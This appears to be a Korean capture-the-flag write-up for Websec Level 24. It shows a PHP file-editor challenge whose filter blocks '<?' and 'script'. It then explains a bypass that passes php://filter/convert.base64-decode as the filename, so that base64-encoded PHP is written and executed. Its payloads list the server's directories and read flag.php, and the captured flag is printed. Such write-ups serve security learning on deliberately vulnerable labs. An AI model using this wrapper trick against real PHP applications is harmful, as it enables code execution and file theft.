Post

Websec - Level 24 (풀이 봄)

Websec24



image


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
ini_set('display_errors', 'on');
ini_set('error_reporting', E_ALL);

session_start();

include 'clean_up.php';

/* periodic cleanup */
foreach (glob("./uploads/*") as $file) {
    if (is_file($file)) {
        unlink($file);
    } else {
        if (time() - filemtime($file) >= 60 * 60 * 24 * 7) {
            Delete($file);
        }
    }
}

$upload_dir = sprintf("./uploads/%s/", session_id());
@mkdir($upload_dir, 0755, true);

/* sandboxing ! */
chdir($upload_dir);
ini_set('open_basedir', '.');

$p = "list";
$data = "";
$filename = "";

if (isset($_GET['p']) && isset($_GET['filename']) ) {
    $filename = $_GET['filename'];
    if ($_GET['p'] === "edit") {
        $p = "edit";
        if (isset($_POST['data'])) {
            $data = $_POST['data'];
            if (strpos($data, '<?')  === false && stripos($data, 'script')  === false) {  # no interpretable code please.
                file_put_contents($_GET['filename'], $data);
                die ('<meta http-equiv="refresh" content="0; url=.">');
            }
        } elseif (file_exists($_GET['filename'])){
            $data = file_get_contents($_GET['filename']);
        }
    }
}
?>


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php if ($p === "list") {
    echo "<div class='panel panel-default'>";
    echo "<div class='panel-heading'><h3 class='panel-title''>Index of <mark>$upload_dir</mark>:</h3></div>";
    echo "<div class='panel-body'><ul>";
    foreach (array_diff(scandir('.'), ['..', '.']) as $fn)
        echo "<li><a href='?p=edit&filename=$fn'>$fn</a></li>";
    echo "</ul></div></div>";
    ?>
    <form method="GET" class="form-inline">
        <div class="form-group">
            <input type="hidden" name="p" value="edit">
            <label for="filename">Create a new file:</label>
            <input class='form-control' type="text" name="filename" placeholder="file name">
        </div>
        <div class="form-group">
            <button type="submit" class='btn btn-default col-md-2 form-control' value="Submit">Create</button>
        </div>
    </form>

<?php } elseif ($p === "edit") {
    echo "<div class='panel panel-default'>";
    echo "<div class='panel-heading'><h3 class='panel-title''>";
    echo "File <mark>$filename</mark>'s content: <a type='button' class='close' href='.'><span>&times;</span></a></h3>";
    echo "</div>";
    echo "<div class='panel-body'>";
    echo "<form action='?p=edit&filename=$filename' method='post'>";
    echo "<input type='hidden' name='filename' value='$filename'>";
    echo "<textarea class='form-control' name='data' rows='6'>" . htmlentities($data) . "</textarea><br>";
    echo "<a type='button' class='btn btn-default' href='.'>Cancel</a> ";
    echo "<button type='submit' class='btn btn-default' value='Submit'>Save changes</button>";
    echo "</form>";
    echo "</div></div>";
} ?>






Solution



php glob 함수, chdir 함수
habonyphp.com/2020/07/php-glob.html
habonyphp.com/2020/07/php-chdir.html


php ini_set, open_basedir
choseongho93.tistory.com/207
php.net/manual/en/ini.core.php#ini.open-basedir
idchowto.com/php-보안설정중-open_basedir-적용하기 –> GOOD


open_basedir을 우회해서 파일을 읽어야되는 줄 알았으나 아니였음..


file_put_contents, file_get_contents는 php wrapper를 사용할 수 있다고 함.
php.net/manual/en/function.file-put-contents.php
php.net/manual/en/function.file-get-contents.php


중요한 점은 file system 함수들은 wrapper가 사용 가능하다는 점이다.


image


따라서 php://filter/convert.base64-decode/resource=test.php 라는 wrapper를 이용해서 파일을 생성해주면 test.php가 생성이 된다.

그 내용으로 <?php echo var_dump(scandir('../../')); ?>를 base64 encode를 해줘서 넣어주면 디코드되어 php 코드가 들어가 있는 test.php가 생긴다.

그럼 /upload/sessionid/test.php로 가보면 아래와 같이 출력된다.


1
2
3
4
5
6
7
8
9
10
11
12
array(9) 
{ 
  [0]=> string(1) "." 
  [1]=> string(2) ".." 
  [2]=> string(12) "clean_up.php" 
  [3]=> string(8) "flag.php" 
  [4]=> string(9) "index.php" 
  [5]=> string(12) "php-fpm.sock" 
  [6]=> string(10) "source.php" 
  [7]=> string(7) "uploads" 
  [8]=> string(3) "var" 
}


그 다음 동일하게 flag.php를 출력해주면 된다….


<?php echo file_get_contents('../../flag.php'); ?>


Flag
WEBSEC{no_javascript_no_php_I_guess_you_used_COBOL_to_get_a_RCE_right?}






This post is licensed under CC BY 4.0 by the author.